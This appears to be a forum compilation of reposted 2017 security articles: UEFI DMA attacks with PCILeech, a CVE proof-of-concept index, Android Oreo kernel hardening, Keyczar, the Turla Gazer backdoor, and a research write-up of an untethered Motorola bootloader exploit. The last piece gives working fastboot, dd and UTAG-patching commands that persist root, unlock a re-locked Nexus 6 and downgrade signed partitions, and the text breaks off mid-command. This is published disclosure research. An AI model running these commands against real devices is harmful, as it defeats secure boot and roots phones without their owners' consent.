schemes that can be reverse engineered by statistical analysis and testing simple hypotheses. Sometimes a bit of trial and error is needed, but these encoding schemes can be simple enough to decode without having to perform reverse engineering of code. This entry was posted in malware on August 30, 2017 by didiernviso. Sursa: https://blog.nviso.be/2017/08/30/decoding-malware-via-simple-statistical-analysis/

Wednesday, August 30, 2017 Attacking UEFI Unlike macs many PCs are likely to be vulnerable to pre-boot Direct Memory Access (DMA) attacks against UEFI. If an attack is successful on a system configured with secure boot - then the chain of trust is broken and secure boot becomes insecure boot. If code execution is gained before the operating system is started further compromise of the not yet loaded operating system may be possible. As an example it may be possible to compromise a Windows 10 system running Virtualization Based Security (VBS) with Device Guard. This have already been researched by Dmytro Oleksiuk. This post will focus on attacking UEFI over DMA and not potential further compromises of the system. What is UEFI? UEFI is short for Unified Extensible Firmware Interface. It is the firmware that is running on the computer before the operating system is booted. UEFI is responsible for detecting memory, disks and other hardware required to boot the operating system. UEFI is a small operating system in itself. It's also sometimes a bit sloppily called the BIOS. The Targets A brand new Intel NUC i3 "Kaby Lake" purchased in June. 8GB RAM, Win10 1703 with Secure Boot, Bitlocker+TPM, Virtualization Based Security (VBS) Device Guard is enabled. BIOS revision: BNKBL357.86A.0036.2017.0105.1112. DMA access via internal M.2 slot. An older Lenovo T430, 8GB RAM, Win10 1703 with Secure Boot, Bitlocker+TPM, Virtualization Based Security (VBS) Device Guard is enabled. DMA access via ExpressCard slot. T430 to the left, NUC to the right. The Problem The root problem is that many UEFIs still do not protect themselves against DMA attacks, despite the hardware (VT-d/IOMMU) to do so being included in all CPUs for many years. The screenshot below shows PCILeech first searching the memory of a target computer over DMA trying to find where to hook into UEFI. Once inside it's easy to dump memory (also shown) and do other evilness - such as executing arbitrary code despite secure boot being enabled. Loading a PCILeech module into UEFI, dumping the memory and unloading the module. The Attack Taking control is a simple matter of finding the correct memory structures and overwriting them if DMA access is allowed. This process is automated with PCILeech. It's possible to automatically search for the memory address of the EFI system table "IBI SYST" - or even better specify it directly to PCILeech. The EFI System Table contains the location of the EFI boot services table "BOOTSERV" which contains many useful function pointers. The boot services functions are useful for both hooking and also calling into from our implanted module. In the example below the boot services function SignalEvent() is hooked. Once the PCILeech "kernel" module for UEFI is inserted it's possible to use it to dump memory and execute code - just as any normal PCILeech kernel module. In the example below the PCILeech UEFI implant uefi_textout is called multiple times. The output is printed on the screen of the victim computer. The text HELLO FROM EVIL PCILEECH IMPLANT !!! is printed multiple times after the PCILeech module for UEFI have been inserted. Once the attack was completed the kmdexit command was issued to PCILeech and the UEFI implant was unloaded. In this case Windows will start booting as shown below. If targeting the operating system loaded it's better to hook ExitBootServices() - which is called by the EFI based operating system loader when the operating system is taking over control of the computer from UEFI. At this point in time it will be possible for malicious code to modify the operating system loader. Windows is booting normally once the PCILeech UEFI module is unloaded. Can I try it myself? Absolutely! The code is available as a part of the open source PCILeech Direct Memory Access Attack Toolkit on Github. Conclusions UEFI DMA attacking with PCILeech is now public, inexpensive and easy to perform. DMA attacks agaunst UEFI are no longer theoretical. Vendors should enable VT-d to protect against DMA attacks. Further compromise of the operating system may be possible. It may not be possible to rely on Virtualization Based Security if having a vulnerable UEFI. Posted by Ulf Frisk at 10:53 AM Sursa: http://blog.frizk.net/2017/08/attacking-uefi.html

Awesome CVE PoC ✍️ A curated list of CVE PoCs. Here is a collection about Proof of Concepts of Common Vulnerabilities and Exposures, and you might also want to check out awesome-web-security. Please read the contribution guidelines before contributing. ? This repo is full of PoCs for CVEs. Check out my repos ? or say hi on my Twitter. Contents CVE-2013-6632 CVE-2014-1705 CVE-2014-3176 CVE-2014-6332 CVE-2014-7927 CVE-2014-7928 CVE-2015-0235 CVE-2015-0240 CVE-2015-1233 CVE-2015-1242 CVE-2015-1635 CVE-2015-3306 CVE-2015-5531 CVE-2015-6086 CVE-2015-6764 CVE-2015-6771 CVE-2015-7450 CVE-2015-7545 CVE-2015-8584 CVE-2016-0450 CVE-2016-0451 CVE-2016-0728 CVE-2016-1646 CVE-2016-1653 CVE-2016-1665 CVE-2016-1669 CVE-2016-1677 CVE-2016-1688 CVE-2016-1857 CVE-2016-2384 CVE-2016-3087 CVE-2016-3088 CVE-2016-3309 CVE-2016-3371 CVE-2016-3386 CVE-2016-4338 CVE-2016-4622 CVE-2016-4734 CVE-2016-4971 CVE-2016-5129 CVE-2016-5172 CVE-2016-5198 CVE-2016-5200 CVE-2016-5734 CVE-2016-6210 CVE-2016-6277 CVE-2016-6415 CVE-2016-7124 CVE-2016-7189 CVE-2016-7190 CVE-2016-7194 CVE-2016-7200 CVE-2016-7201 CVE-2016-7202 CVE-2016-7203 CVE-2016-7240 CVE-2016-7241 CVE-2016-7255 CVE-2016-7286 CVE-2016-7287 CVE-2016-7288 CVE-2016-7547 CVE-2016-7552 CVE-2016-8413 CVE-2016-8477 CVE-2016-8584 CVE-2016-8585 CVE-2016-8586 CVE-2016-8587 CVE-2016-8588 CVE-2016-8589 CVE-2016-8590 CVE-2016-8591 CVE-2016-8592 CVE-2016-8593 CVE-2016-9651 CVE-2016-9793 CVE-2016-10033 CVE-2016-10277 CVE-2016-10370 CVE-2017-0015 CVE-2017-0037 CVE-2017-0059 CVE-2017-0070 CVE-2017-0071 CVE-2017-0134 CVE-2017-0141 CVE-2017-0143 CVE-2017-0144 CVE-2017-0145 CVE-2017-0146 CVE-2017-0147 CVE-2017-0148 CVE-2017-0199 CVE-2017-0213 CVE-2017-0283 CVE-2017-0290 CVE-2017-0392 CVE-2017-0521 CVE-2017-0531 CVE-2017-0541 CVE-2017-0576 CVE-2017-1082 CVE-2017-1083 CVE-2017-1084 CVE-2017-1085 CVE-2017-2416 CVE-2017-2446 CVE-2017-2447 CVE-2017-2464 CVE-2017-2491 CVE-2017-2521 CVE-2017-2531 CVE-2017-2536 CVE-2017-2547 CVE-2017-2636 CVE-2017-3599 CVE-2017-3629 CVE-2017-3630 CVE-2017-3631 CVE-2017-4901 CVE-2017-4914 CVE-2017-4918 CVE-2017-4971 CVE-2017-5030 CVE-2017-5040 CVE-2017-5053 CVE-2017-5071 CVE-2017-5135 CVE-2017-5622 CVE-2017-5624 CVE-2017-5626 CVE-2017-5638 CVE-2017-5689 CVE-2017-5891 CVE-2017-5892 CVE-2017-5948 CVE-2017-6074 CVE-2017-6178 CVE-2017-6326 CVE-2017-6980 CVE-2017-6984 CVE-2017-7219 CVE-2017-7269 CVE-2017-7279 CVE-2017-7280 CVE-2017-7281 CVE-2017-7281 CVE-2017-7281 CVE-2017-7293 CVE-2017-7308 CVE-2017-7442 CVE-2017-7494 CVE-2017-7529 CVE-2017-8295 CVE-2017-8386 CVE-2017-8464 CVE-2017-8514 CVE-2017-8543 CVE-2017-8850 CVE-2017-8851 CVE-2017-8877 CVE-2017-8878 CVE-2017-8917 CVE-2017-9417 CVE-2017-9791 CVE-2017-9993 CVE-2017-10661 CVE-2017-11105 CVE-2017-11421 CVE-2017-1000112 CVE-2017-1000117 CVE-2017-1000353 CVE-2017-1000364 CVE-2017-1000365 CVE-2017-1000366 CVE-2017-1000367 CVE-2017-1000369 CVE-2017-1000370 CVE-2017-1000371 CVE-2017-1000372 CVE-2017-1000373 CVE-2017-1000374 CVE-2017-1000375 CVE-2017-1000376 CVE-2017-1000377 CVE-2017-1000378 CVE-2017-1000379 More information: https://github.com/qazbnm456/awesome-cve-poc

Hardening the Kernel in Android Oreo 30 August 2017 Posted by Sami Tolvanen, Senior Software Engineer, Android Security The hardening of Android's userspace has increasingly made the underlying Linux kernel a more attractive target to attackers. As a result, more than a third of Android security bugs were found in the kernel last year. In Android 8.0 (Oreo), significant effort has gone into hardening the kernel to reduce the number and impact of security bugs. Android Nougat worked to protect the kernel by isolating it from userspace processes with the addition of SELinux ioctl filtering and requiring seccomp-bpf support, which allows apps to filter access to available system calls when processing untrusted input. Android 8.0 focuses on kernel self-protection with four security-hardening features backported from upstream Linux to all Android kernels supported in devices that first ship with this release. Hardened usercopy Usercopy functions are used by the kernel to transfer data from user space to kernel space memory and back again. Since 2014, missing or invalid bounds checking has caused about 45% of Android's kernel vulnerabilities. Hardened usercopy adds bounds checking to usercopy functions, which helps developers spot misuse and fix bugs in their code. Also, if obscure driver bugs slip through, hardening these functions prevents the exploitation of such bugs. This feature was introduced in the upstream kernel version 4.8, and we have backported it to Android kernels 3.18 and above. int buggy_driver_function(void __user *src, size_t size) { /* potential size_t overflow (don’t do this) */ u8 *buf = kmalloc(size * N, GPF_KERNEL); … /* results in buf smaller than size, and a heap overflow */ if (copy_from_user(buf, src, size)) return -EFAULT; /* never reached with CONFIG_HARDENED_USERCOPY=y */ } An example of a security issue that hardened usercopy prevents. Privileged Access Never (PAN) emulation While hardened usercopy functions help find and mitigate security issues, they can only help if developers actually use them. Currently, all kernel code, including drivers, can access user space memory directly, which can lead to various security issues. To mitigate this, CPU vendors have introduced features such as Supervisor Mode Access Prevention (SMAP) in x86 and Privileged Access Never (PAN) in ARM v8.1. These features prevent the kernel from accessing user space directly and ensure developers go through usercopy functions. Unfortunately, these hardware features are not yet widely available in devices that most Android users have today. Upstream Linux introduced software emulation for PAN in kernel version 4.3 for ARM and 4.10 in ARM64. We have backported both features to Android kernels starting from 3.18. Together with hardened usercopy, PAN emulation has helped find and fix bugs in four kernel drivers in Pixel devices. int buggy_driver_copy_data(struct mydata *src, void __user *ptr) { /* failure to keep track of user space pointers */ struct mydata *dst = (struct mydata *)ptr; … /* read/write from/to an arbitrary user space memory location */ dst->field = … ; /* use copy_(from|to)_user instead! */ … /* never reached with PAN (emulation) or SMAP */ } An example of a security issue that PAN emulation mitigates. Kernel Address Space Layout Randomization (KASLR) Android has included support for Address Space Layout Randomization (ASLR) for years. Randomizing memory layout makes code reuse attacks probabilistic and therefore more difficult for an attacker to exploit, especially remotely. Android 8.0 brings this feature to the kernel. While Linux has supported KASLR on x86 since version 3.14, KASLR for ARM64 has only been available upstream since Linux 4.6. Android 8.0 makes KASLR available in Android kernels 4.4 and newer. KASLR helps mitigate kernel vulnerabilities by randomizing the location where kernel code is loaded on each boot. On ARM64, for example, it adds 13–25 bits of entropy depending on the memory configuration of the device, which makes code reuse attacks more difficult. Post-init read-only memory The final hardening feature extends existing memory protections in the kernel by creating a memory region that's marked read-only after the kernel has been initialized. This makes it possible for developers to improve protection on data that needs to be writable during initialization, but shouldn't be modified after that. Having less writable memory reduces the internal attack surface of the kernel, making exploitation harder. Post-init read-only memory was introduced in upstream kernel version 4.6 and we have backported it to Android kernels 3.18 and newer. While we have applied these protections to some data structures in the core kernel, this feature is extremely useful for developers working on kernel drivers. Conclusion Android Oreo includes mitigations for the most common source of security bugs in the kernel. This is especially relevant because 85% of kernel security bugs in Android have been in vendor drivers that tend to get much less scrutiny. These updates make it easier for driver developers to discover common bugs during development, stopping them before they can reach end user devices. Sursa: https://android-developers.googleblog.com/2017/08/hardening-kernel-in-android-oreo.html

Keyczar Important note: KeyCzar has some known security issues which may influence your decision to use it. See Known Security Issues. Introduction Keyczar is an open source cryptographic toolkit designed to make it easier and safer for developers to use cryptography in their applications. Keyczar supports authentication and encryption with both symmetric and asymmetric keys. Some features of Keyczar include: A simple API Key rotation and versioning Safe default algorithms, modes, and key lengths Automated generation of initialization vectors and ciphertext signatures Java, Python, and C++ implementations International support in Java Keyczar was originally developed by members of the Google Security Team and is released under an Apache 2.0 license. Quick Links Known Security Issues Discussion Group Design Document (PDF) Why Keyczar? Cryptography is easy to get wrong. Developers can choose improper cipher modes, use obsolete algorithms, compose primitives in an unsafe manner, or fail to anticipate the need for key rotation. Keyczar abstracts some of these details by choosing safe defaults, automatically tagging outputs with key version information, and providing a simple programming interface. Keyczar is designed to be open, extensible, and cross-platform compatible. It is not intended to replace existing cryptographic libraries like OpenSSL, PyCrypto, or the Java JCE, and in fact is built on these libraries. Sursa: https://github.com/google/keyczar

Introduction Herein we release our analysis of a previously undocumented backdoor that has been targeted against embassies and consulates around the world leads us to attribute it, with high confidence, to the Turla group. Turla is a notorious group that has been targeting governments, government officials and diplomats for years. They are known to run watering hole and spearphishing campaigns to better pinpoint their targets. Although this backdoor has been actively deployed since at least 2016, it has not been documented anywhere. Based on strings found in the samples we analyzed, we have named this backdoor “Gazer”. Recently, the Turla APT group has seen extensive news coverage surrounding its campaigns, something we haven’t seen for a long time. The Intercept reported that there exists a 2011 presentation by Canada’s Communication Security Establishment (CSE) outlining the errors made by the Turla operators during their operations even though the tools they use are quite advanced. The codename for Turla APT group in this presentation is MAKERSMARK. Gazer is, similar to its siblings in the Turla family, using advanced methods to spy and persist on its targets. This whitepaper highlights the campaigns in which Gazer was used and also contains a technical analysis of its functionalities. Download: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

Untethered initroot (USENIX WOOT '17) By Roee Hay (@roeehay) August 30, 2017 * CVE-2016-10277 ALEPH-2017024 In USENIX WOOT ‘17, that took place earlier this month in Vancouver, we presented our paper, “fastboot oem vuln: Android Bootloader Vulnerabilities in Vendor Customizations”, covering a year’s work in Android bootloaders research. Our paper also includes some previously undisclosed details on CVE-2016-10277, a critical kernel command-line injection vulnerability in the Motorola Android Bootloader (ABOOT) that we had found and blogged about. In the previous couple of blog posts, we demonstrated a tethered unrestricted root exploit against that vulnerability, that we later extended to other Moto devices - G4 & G5. Additional Moto devices have also been confirmed by the community. In the WOOT’17 paper we describe a natural continuation of that exploit – a second stage untethered secure boot & device locking bypass (tested to be working on the vulnerable versions of Nexus 6, Moto G4 & G5). Moreover, we also present in the paper and this blog post other second stage exploits, such as persistent kernel code execution in Nexus 6, the ability to downgrade critical partitions (such as the bootloaders chain and TrustZone), unlocking a re-locked Nexus 6 bootloader, and more. As usual, our PoC exploit is publicly available in our GitHub repo. DISCLAIMER: Unlike the previous ephemeral jailbreak, the one presented today may brick your device. For example, during the development of it, we had to unlock our (luckily unlockable!) Moto G5 device in order to unbrick it. Table of Contents Recap of the Vulnerability and the Tethered-jailbreak Persisting the Payload Owning the Unused Partition Forcing Linux to Use our root Partition Putting it all Together: from shell user to Untethered root Kernel Command-line Injection from Platform OS Kernel Command-line Overlay: cmdl Accessing the UTAGs Block Device Other Second-stage Exploits – Persistent Kernel Code Execution on Nexus 6 – Unlocking a Re-locked Nexus 6 device from Platform OS – Downgrade of Critical Partitions – Modifying the system partition (Moto G4 and others) Conclusion Recap of the Vulnerability and the Tethered-jailbreak Vulnerable versions of the Motorola Android Bootloader (ABOOT) allow for kernel command-line injection. Using a proprietary fastboot OEM command, only available in the Motorola ABOOT, we can inject, through USB, a parameter named initrd which allows us to force the Linux kernel to populate initramfs into rootfs from a specified physical address. We can abuse the ABOOT download functionality in order to place our own malicious initramfs at a known physical address, named SCRATCH_ADDR (see here for a list of devices). Exploiting the vulnerability allows the adversary to gain unconfined root shell. Since the initramfs payload is injected into RAM by the adversary, the vulnerability must be re-exploited on every reboot. For example, here is a successful run of the exploit on cedric (Moto G5) $ fastboot oem config fsg-id "a initrd=0xA2100000,1588598" $ fastboot flash aleph initroot-cedric.cpio.gz $ fastboot continue $ adb shell cedric:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0 cedric:/ # getenforce Permissive cedric:/ # Persisting the Payload Making an untethered exploit implies that we must somehow persist our payload. In general, although we have block-device write access with the unconfined root shell, due to Verified Boot we cannot make the system load with a tampered boot or systempartitions. It turns out, however, that our Moto devices have some unused partition we can populate our malicious initramfs into: .--------.---------------------------------------------.-------------.------. | Device | Partition | Real name | Size | |--------|---------------------------------------------|-------------|------| | shamu | /dev/block/platform/msm_sdcc.1/by-name/padA | mmcblk0p11 | 4.1M | | athene | /dev/block/bootdevice/by-name/padC | mmcblk0p41 | 22M | | cedric | /dev/block/bootdevice/by-name/padA | mmcblk0p48 | 2.9M | `--------'---------------------------------------------'-------------'------' In addition, as also suggested by Ethan Nelson-Moore, attackers can use the SD card partition (mmcblk1p1), if the device has one (shamu doesn’t, for example). Obviously, using the SD card does not require the first stage ephemeral exploit, as one can prepare it offline. It should be noted that a significant drawback of targeting SD cards, from the adversary perspective, is that it implies a physical attack only (unless the adversary targets a device with an already inserted SD card). Owning the Unused Partition The first step is to create an empty ext4 partition. At the host: $ dd if=/dev/zero of=empty.ext4 count=<size> ibs=1 $ mkfs.ext4 ./empty.ext4 The next step is to populate the malicious initial ramdisk archive into the in-file ext4 filesystem. This can be done either on the host or on the device. On the device, one can replace the unused partition with the empty ext4 filesystem we have just created, mount it, and use cpio to populate the malicious initramfs. The attacker should also restore the SELinux contexts, and create the /sbin/init -> /init symbolic link – see the next section for more details. $ adb push ./empty.ext4 /data/local/tmp $ adb push ./initroot-unpadded.cpio.gz /data/local/tmp $ adb shell athene:/ # dd if=/data/local/tmp/empty.ext4 of=/dev/block/bootdevice/by-name/padC 44800+0 records in 44800+0 records out 22937600 bytes transferred in 4.658 secs (4924345 bytes/sec) athene:/ # mkdir /data/local/tmp/pad athene:/ # mount /dev/block/bootdevice/by-name/padC /data/local/tmp/pad athene:/ # cd /data/local/tmp/pad athene:/ # gzip -c -d ../initroot-unpadded.cpio.gz | cpio -i athene:/ # ln -s ../init ./sbin/init athene:/ # chroot /data/local/tmp/pad restorecon -R . athene:/ # cd .. athene:/ # umount /data/local/tmp/pad The target partition now has the payload. It can be saved for later use on other devices (of the same model), i.e. $ adb pull /dev/block/bootdevice/by-name/padC initroot.ext4 On other devices, populating it is now trivial: $ adb push initroot.ext4 /data/local/tmp $ adb shell athene:/ # dd if=/data/local/tmp/initroot.ext4 of=/dev/block/bootdevice/by-name/padC Please note that the persisted payload may need some extra-massaging. For example, in order to overcome the tight size limitation of the cedric unused partition, we packed the binaries of the malicious initramfs (using UPX). In shamu, we had to a priori create some directories (/firmware, /persist), which are probably made by an init script. (This cannot happen on our readonly mounted root partition.) Since we populated our malicious initramfs archive in some unused partition, we still need to lure Linux to use it as the root partition. Forcing Linux to Use Our root Partition Leaving many details behind, Linux prepares the root filesystem as follows (taking into account the Moto kernels config). It unpacks an internal initramfs to rootfs. It tries to populate a bootloader-supplied initramfs from a physical address (initrd_{start,end}), specified in the Device-Tree Blob (DTB). In ARM/64 that can also be specified in the kernel command line by the initrd argument. We abuse this functionality with the tetherd exploit. If it fails, it reverts to an older initrd mechanism, copying from initrd_start into /initrd.image under rootfs. It tries to access ramdisk_execute_command with a default value of /init (which can be overridden by specifying rdinit on the kernel command line) on rootfs. If it succeeds, it will soon execute it and we are done. This is the normal flow on regular boots. It will try to load /initrd.image from rootfs into /dev/ram0 unless the noinitrdargument is specified. It will then execute /linuxrc unless the ‘real’ root device is /dev/ram0. If a root argument is specified, the kernel will mount it (read only, unless the rwargument is specified) as the root filesystem. If execute_command is specified (by the init argument), the kernel will eventually execute it. If it succeeds, we are done. The kernel will try to execute /sbin/init, /etc/init, /bin/init, /bin/sh in order until it succeeds, and panic otherwise. We can thus conclude that the adversary can coerce Linux to use our tampered partition (/dev/block/bootdevice/by-name/padC) as the root partition by supplying the following arguments: Bogus initrd, or rdinit= parameters in order to make the kernel fail on (2), (3) and (4). root=/dev/<real block name> to use our owned partition. rw. Optional. Only required for the factory initramfs archive if we do not restorecon. (See above.) init=/init. Optional. Only required if we do not create the /sbin/init symbolic link in the root partition. (See above.) Hence, the minimum number of bytes which are needed to inject into the cmdline is 29-30 (depending on the partition). For example, on cedric, the fastboot command would be: fastboot oem fsg-id "a rdinit= root=/dev/mmcblk0p48" Luckily (although we can also overcome this limitation, see next), ABOOT limits the string length of fsg-id parameter to 32 bytes before injecting it into the kernel command-line, so although we do not have much leeway with this UTAG, we managed to fit our payload in! Putting it all Together: From shell user to untethered root $ adb shell athene:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input), [...] context=u:r:shell:s0 $ adb reboot bootloader $ fastboot oem config fsg-id a initrd=0x92000000,2505052 $ fastboot flash aleph initroot-athene-xt1622-npjs25.93-14-4.cpio.gz $ fastboot continue resuming boot... OKAY [ 0.006s] finished. total time: 0.006s $ adb shell id uid=0(root) gid=0(root) groups=0(root) [...] context=u:r:kernel:s0 $ adb push padC-initroot /data/local/tmp $ adb shell dd of=/dev/block/bootdevice/by-name/padC if=/data/local/tmp/padC-initroot $ adb reboot bootloader $ fastboot oem config "a rdinit= root=/dev/mmcblk0p41" $ fastboot continue $ adb shell athene:/ # exit $ adb reboot $ adb shell athene:/ # Kernel Command-line Injection from Platform OS Before we created this very succinct payload (29-30 bytes), we had thought we wouldn’t be able find a payload that fit in the fsg-id UTAG. For instance, we incorrectly asserted that we would need to provide the rw and init arguments. We soon realized that by using initroot as a first stage exploit, we could cause ABOOT to inject another string into the kernel cmdline, which was much more spacious (256 bytes). More importantly, what described next is independent of CVE-2016-10277 (in contrast to the previous payload), so if the adversary manages to gain a block-device access (with or without CVE-2016-10277), he can achieve a persistent root. Kernel Command-line Overlay: cmdl Interestingly, in our Moto devices (and also Nexus 6!) there is one UTAG which has caught our attention (in shamu this command will fail, although the UTAG is supported): $ fastboot oem config cmdl ... (bootloader) <UTAG name="cmdl" type="str" protected="true"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) Kernel command line overlay (bootloader) add/modify option: <option>=<value> (bootloader) remove option: -<option> (bootloader) </description> (bootloader) </UTAG> While very appealing, unfortunately this UTAG cannot be controlled from fastboot on production devices: $ fastboot oem config cmdl foo=bar (bootloader) slot-count: not found (bootloader) slot-suffixes: not found (bootloader) slot-suffixes: not found ... (bootloader) Not allowed command FAILED (remote failure) finished. total time: 0.007s It’s a pity, because decompiling ABOOT!update_cmdline with IDA shows that this UTAG is limited to 256 bytes, more than enough of what we initially needed: _BYTE *__fastcall update_cmdline(_BYTE *a1, int a2) { [...] v86 = malloc(256); if ( !v86 ) panic(v2, "ASSERT FAILED at (%s:%d): %s\n", "app/mbm/linux_boot.c", 612, "overlay_buf != NULL"); if ( _utag_gets(0, "cmdl", v86, 256) ) { v87 = cmd_overlay_command_tokens(v67, v86); if ( v87 ) { v88 = v67; v67 = v87; free(v88); } } } But can we use our block-device access (as we can achieve with the first stage initrootexploit) in order to control that UTAG? Accessing the UTAGs Block Device As explained above, using the unrestricted root we achieve with initroot, we can write on arbitrary block devices (which are not write-protected). The UTAGs reside under a device-specific partition: .--------.----------------------------------------------.------------. | Device | Partition | Real name | |--------|----------------------------------------------|------------| | shamu | /dev/block/platform/msm_sdcc.1/by-name/utags | mmcblk0p11 | | athene | /dev/block/bootdevice/by-name/utags | mmcblk0p21 | | cedric | /dev/block/bootdevice/by-name/utags | mmcblk0p25 | `--------'----------------------------------------------'------------' Let’s examine one of them: $ adb shell id uid=0(root) gid=0(root) [...] context=u:r:kernel:s0 $ adb pull /dev/block/bootdevice/by-name/utags $ hexdump -C utags 00000000 5f 5f 55 54 41 47 5f 48 45 41 44 5f 5f 00 00 00 |__UTAG_HEAD__...| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 66 73 67 2d |............fsg-| 00000030 69 64 3a 73 74 72 00 00 00 00 00 00 00 00 00 00 |id:str..........| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c |................| 00000050 00 00 00 00 00 00 00 00 61 20 69 6e 69 74 72 64 |........a initrd| 00000060 3d 30 78 39 32 30 30 30 30 30 30 2c 32 35 30 35 |=0x92000000,2505| 00000070 30 35 32 00 62 6f 6f 74 6d 6f 64 65 3a 73 74 72 |052.bootmode:str| [...] 00000a00 20 20 20 20 20 20 00 58 46 46 1f 0b 2e 72 65 62 | .XFF...reb| 00000a10 6f 6f 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |oot.............| 00000a20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 |................| 00000a30 00 00 00 00 00 00 00 00 30 00 00 00 5f 5f 55 54 |........0...__UT| 00000a40 41 47 5f 54 41 49 4c 5f 5f 00 00 00 00 00 00 00 |AG_TAIL__.......| 00000a50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| We can observe that our injected argument (fsg-id) is there. Basic understanding of the format can easily be achieved by just observing this sample: The UTAG name is specified alongside its type (e.g. fsg-id:str) At some offset from the start of UTAG, the number of data bytes are specified (0x1cat offset 0x4f) The data is placed at a specific offset from the start of the UTAG. Equipped with this knowledge, we can add our malicious cmdl UTAG. 000004c0 63 20 65 66 67 68 3d 6a 6b 6c 00 00 63 6d 64 6c |c efgh=jkl..cmdl| 000004d0 3a 73 74 72 00 00 00 00 00 00 00 00 00 00 00 00 |:str............| 000004e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b |...............;| 000004f0 00 00 00 00 00 00 00 00 66 6f 6f 31 3d 62 61 72 |........foo1=bar| 00000500 31 20 66 6f 6f 32 3d 62 61 72 32 20 66 6f 6f 33 |1 foo2=bar2 foo3| 00000510 3d 62 61 72 33 20 66 6f 6f 34 3d 62 61 72 34 20 |=bar3 foo4=bar4 | 00000520 66 6f 6f 35 3d 62 61 72 35 20 20 20 20 20 20 20 |foo5=bar5 | 00000530 20 20 00 00 73 6b 75 3a 73 74 72 00 00 00 00 00 | ..sku:str.....| Since this partition is NOT write-protected, we can overwrite it even if we are not running in recovery mode: (Kudos to @autoprime – at the beginning I thought one must use initroot in recovery mode for that, albeit it’s also possible by simply selecting recovery mode on the fastboot menu, during exploitation – that’s how we managed to overwrite the system partition on old Moto devices such as athene). $ adb push ./utags /data/local/tmp $ adb shell athene:/ # dd if=/data/local/tmp/utags of=/dev/block/bootdevice/by-name/utags athene:/ # reboot bootloader $ fastboot oem config cmdl ... (bootloader) <UTAG name="cmdl" type="str" protected="false"> (bootloader) <value> (bootloader) foo1=bar1 foo2=bar2 foo3=bar3 foo4=bar4 foo5=bar5 (bootloader) (bootloader) </value> (bootloader) <description> (bootloader) Kernel command line overlay (bootloader) add/modify option: <option>=<value> (bootloader) remove option: -<option> (bootloader) </description> (bootloader) </UTAG> OKAY [ 0.025s] finished. total time: 0.025s We can see that we indeed managed to inject our own data into the non-fastboot accessible UTAG! Again, being able to control this UTAG allows for a persistent root, independently of CVE-2016-10277 (given that you have block-device access). Other Second-stage Exploits In addition to the generic second stage exploit depicted above, we also describe in the paper and the following sections additional attacks. (Some are device-specific.) Persistent Kernel Code Execution on Nexus 6 During our disclosure process, Android Security also observed that on shamu, an unrestricted root (as we gain with the ephemeral initroot), or one that runs under an SELinux domain with block device access, can overwrite the bootloader chain, boot, and system partitions. Due to incomplete Secure/Verified Boot implementation (verified on our re-locked Nexus 6 device), the boot partition is not verified, which implies a persistent kernel code execution – by using the ephemeral initroot exploit, the attacker can completely replace the boot partition with a tampered one (which makes the aforementioned second-stage exploit on Nexus 6 redundant), containing a malicious kernel image and an initramfs cpio archive. Afterwards, the attacker can simply reboot into fastboot, and remove the malicious utag. The attacker’s supplied kernel code and initramfs will then be loaded on every boot. Unlocking a Re-locked Nexus 6 device from Platform OS Back in 2013, Dan Rosenberg found a vulnerability in the Motorola TrustZone kernel, allowing him to unlock the Motorola bootloader. In his blog, Dan depicted how Motorola implemented bootloader locking (also relevant for shamu), which can be summarized with the following state machine: .---------. | Factory | .----------. | Locked | ---> | Unlocked | <---. (3) `---------' (1) `-----.----' | | .-----------. `----> | Re-locked | (2) `-----------' The transitions are as follows: The user first unlocks the device. The WARRANTYVOID qfuse is blown. This transition is governed by TEE thus it cannot be done from the Platform OS. User re-locks the device. Bootloader writes an entry under the sp partition, with an HMAC produced by TEE. User unlocks the device. Bootloader removes that entry. Conclusion: An unrestricted root (as one could gain by exploiting CVE-2016-10277) can unlock a re-locked bootloader by invalidating the sp partition. We tagged this vulnerability as ALEPH-2017024. $ fastboot getvar all ... (bootloader) secure: yes (bootloader) unlocked: no (bootloader) securestate: locked (bootloader) iswarrantyvoid: yes (bootloader) mot_sst: 2 $ fastboot oem config fsg-id "a initrd=0x11000000,1519997" $ fastboot flash foo initroot.cpio.gz $ fastboot continue $ adb shell shamu:/ # echo 0 > /dev/block/platform/msm_sdcc.1/by-name/sp shamu:/ # reboot bootloader $ fastboot getvar all ... (bootloader) unlocked: yes (bootloader) securestate: unlocked (bootloader) iswarrantyvoid: yes (bootloader) mot_sst: 3 Downgrade of Critical Partitions As mentioned above, by being able to write on block devices, one can overwrite the bootloader chain (SBL1, ABOOT), TrustZone and other signed partitions (e.g. boot & recovery). Although such a replacement succeeds, due to Secure Boot, the boot flow will end in the PBL’s Emergency Download Mode (EDL) (verified on shamu) or fastboot, depending on which partition has failed verification. Despite that, since older images are perfectly-signed ones, downgrade attacks are possible, unless mitigated using the SW_ID field. It seems that Nexus 6 does not increase the SW_ID field between bootloader versions, thus the attacker can downgrade those signed partitions, allowing for exploitation of now-patched vulnerabilities in critical code. Other Moto devices are not immune too – verified on athene (that uses a different signing format), we were able to downgrade SBL1, ABOOT and TrustZone: $ fastboot getvar all | grep git (bootloader) sbl1.git: git=MBM-NG-VB1.05-0-ge433b40 (bootloader) rpm.git: git=a970ead (bootloader) tz.git: git=119e5b2-dirty (bootloader) hyp.git: git=119e5b2-dirty (bootloader) keymaster.git: git=119e5b2-dirty (bootloader) cmnlib.git: git=119e5b2-dirty (bootloader) aboot.git: git=MBM-NG-VB1.05-0-ge433b40 $ fastboot oem config fsg-id "a initrd=0x92000000,2505052" $ fastboot flash aleph initroot.cpio.gz $ fastboot continue $ adb push old_* /data/local/tmp $ adb shell athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/aboot athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/tz athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/sbl1 athene:/ # reboot bootloader $ fastboot 